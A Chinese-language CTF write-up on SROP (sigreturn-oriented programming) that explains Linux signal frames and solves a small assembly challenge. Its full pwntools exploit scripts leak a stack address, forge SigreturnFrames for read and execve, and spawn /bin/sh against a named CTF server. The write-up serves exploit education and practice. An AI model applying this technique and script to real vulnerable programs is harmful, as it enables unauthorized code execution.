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SROP

Author: 堇姬Naup

signal機制

  1. kernel向process發起signal機制，Process暫時中斷，進入kernel
  2. 保存環境(簡單來說就是保存了各個暫存器的值，將所有東西壓入stack，並壓入signal相關訊息)，這段記憶體被稱為Signal Frame
  3. 到signal handler處理
  4. 恢復環境
  5. 繼續執行process

image

image

signal frame





















































struct _fpstate
    {
      /* FPU environment matching the 64-bit FXSAVE layout.  */
      __uint16_t        cwd;
      __uint16_t        swd;
      __uint16_t        ftw;
      __uint16_t        fop;
      __uint64_t        rip;
      __uint64_t        rdp;
      __uint32_t        mxcsr;
      __uint32_t        mxcr_mask;
      struct _fpxreg    _st[8];
      struct _xmmreg    _xmm[16];
      __uint32_t        padding[24];
    };

struct sigcontext
    {
      __uint64_t r8;
      __uint64_t r9;
      __uint64_t r10;
      __uint64_t r11;
      __uint64_t r12;
      __uint64_t r13;
      __uint64_t r14;
      __uint64_t r15;
      __uint64_t rdi;
      __uint64_t rsi;
      __uint64_t rbp;
      __uint64_t rbx;
      __uint64_t rdx;
      __uint64_t rax;
      __uint64_t rcx;
      __uint64_t rsp;
      __uint64_t rip;
      __uint64_t eflags;
      unsigned short cs;
      unsigned short gs;
      unsigned short fs;
      unsigned short __pad0;
      __uint64_t err;
      __uint64_t trapno;
      __uint64_t oldmask;
      __uint64_t cr2;
      __extension__ union
        {
          struct _fpstate * fpstate;
          __uint64_t __fpstate_word;
        };
      __uint64_t __reserved1 [8];
    };

image

漏洞在哪?

如果我們能控制Stack的值，因為他在恢復環境時沒有驗證，所以可以任意修改來串ROP(透過偽造sigframe來調用惡意syscall)

SROP前提

  1. 有BOF
  2. 可以去系統調用signature(或用read控rax之類的)
  3. /bin/sh地址可以寫入並拿到該地址或是直接有目標及有位址
  4. syscall地址

SROP chain

image

如果有ret，那可以構造像是這樣的chain來呼叫多個syscall

流程

  • 控制stack
  • 偽造Signal Frame
  • 觸發Sigreturn
  • get shell

題目

; nasm -f elf64 chal.asm -o chal.o && ld chal.o -o chal
.text:
    global _start

_start:
    xor rax, rax
    mov edx, 0x400
    mov rsi, rsp
    mov rdi, rax
    syscall
    ret

控rax代表可以控你要syscall甚麼，而能控rax的不只有gadget，read返回值，也就是讀取的字節數可以控rax(rax包含系統調用結果)

首先根據上方asm他調用了read，隨便輸入一個他會跳到對應位置

image

這邊我輸入了aaa跳到了0xa616161(0xa是換行)上，因為rsi指向rsp，ret吃到rsp所以stack底部會跳過去

這邊我先放入兩個ret回最上面

再來送一個\x03
來蓋掉stack底部ret位置最低位到xor rax, rax後面
與此同時因為寫入1 byte，rax變成1，call write，寫出stack address

原本

image

寫掉最低位成0x03

image

另外因為寫入1 byte ，讓rax=1

image









































from pwn import *
from NAUP_pwn_lib import *

context.arch='amd64'
REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
    r=process('./srop')

    
else:                                           
    REMOTE_INFO=split_nc("nc lotuxctf.com 10009")

    REMOTE_IP=REMOTE_INFO[0]
    REMOTE_PORT=int(REMOTE_INFO[1])

    r=remote(REMOTE_IP,REMOTE_PORT)

DEBUG=input('debug?(y/n)')
if DEBUG=="y":
    context.log_level = 'debug'
    context.arch = 'amd64'
    context.os = 'linux'
    context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']

def p():
    gdb.attach(proc.pidof(r)[0])

payload1 = p64(0x401000)+p64(0x401000)

r.send(payload1)

p()

r.send(b'\x03')

leak_stack_base = u64(r.recv()[8:16])
NAUPINFO('LEAK STACK',hex(leak_stack_base))

r.interactive()

接下來我們的目標是call execve()，所以要寫入/bin/sh
另外根據上方腳本已經跳出去了，但我們如果一開始送p64(0x401000) 3次，write完後又跳回來了














read = SigreturnFrame()
read.rax = constants.SYS_read
read.rdi = 0
read.rsi = leak_stack_base
read.rdx = 0x400
read.rsp = leak_stack_base
read.rip = syscall

payload3 = p64(start) + p64(syscall) + bytes(read)

r.send(payload3)

r.send(payload3[8:23])

讀payload進來

start
syscall
read.SigreturnFrame

ret跳回start，讀15個byte進來

syscall
read.SigreturnFrame

ret到syscall，現在rax=15(call sys_rt_sigreturn)

read.SigreturnFrame

回復位置成read.SigreturnFrame的樣子

再來















execve = SigreturnFrame()
execve.rax = constants.SYS_execve
execve.rdi = leak_stack_base + 0x108 
execve.rsi = 0x0
execve.rdx = 0x0
execve.rsp = leak_stack_base 
execve.rip = syscall

payload5 = p64(start)+p64(syscall)+bytes(execve)
print(len(payload5))
payload5 += b'/bin/sh\x00'
r.send(payload5)

r.send(payload5[8:23])

回復的read先讀

start
syscall
execve.SigreturnFrame
/bin/sh\x00(leak rsp+0x108)

再來ret到start，再讀15byte

syscall
execve.SigreturnFrame
/bin/sh\x00(leak rsp+0x108)

ret到syscall，現在rax=15

回復成execve.SigreturnFrame
並抓到/bin/sh

get shell!!

另外適時加一些sleep防止送太快

script













































































from pwn import *
from NAUP_pwn_lib import *
import time

context.arch='amd64'
context.os = 'linux'
REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
    r=process('./srop')

else:                                           
    REMOTE_INFO=split_nc("nc lotuxctf.com 10009")

    REMOTE_IP=REMOTE_INFO[0]
    REMOTE_PORT=int(REMOTE_INFO[1])

    r=remote(REMOTE_IP,REMOTE_PORT)

DEBUG=input('debug?(y/n)')
if DEBUG=="y":
    context.log_level = 'debug'
    context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']

def pause():
    gdb.attach(proc.pidof(r)[0])

payload1 = p64(0x401000)+p64(0x401000)+p64(0x401000)

r.send(payload1)

#pause()
time.sleep(0.5)

r.send(b'\x03')

leak_stack_base = u64(r.recv()[8:16])
NAUPINFO('LEAK STACK',hex(leak_stack_base))

start=0x401000
syscall=0x40100e

read = SigreturnFrame()
read.rax = constants.SYS_read
read.rdi = 0
read.rsi = leak_stack_base
read.rdx = 0x400
read.rsp = leak_stack_base
read.rip = syscall

payload2 = p64(start) + p64(syscall) + bytes(read)

r.send(payload2)

time.sleep(0.5)

r.send(payload2[8:23])

execve = SigreturnFrame()
execve.rax = constants.SYS_execve
execve.rdi = leak_stack_base + 0x108 
execve.rsi = 0x0
execve.rdx = 0x0
execve.rsp = leak_stack_base 
execve.rip = syscall

payload3 = p64(start)+p64(syscall)+bytes(execve)
print(len(payload3))
payload3 += b'/bin/sh\x00'
r.send(payload3)

time.sleep(0.5)

r.send(payload3[8:23])

r.interactive()
Last changed by 
 
堇姬
一隻4002歲的簑羽鶴仙，我叫堇姬！ (weber & cryptographyer & OSINT ) https://linktr.ee/naupjjin 我們的CTF http://ctf.ckcsc.net/
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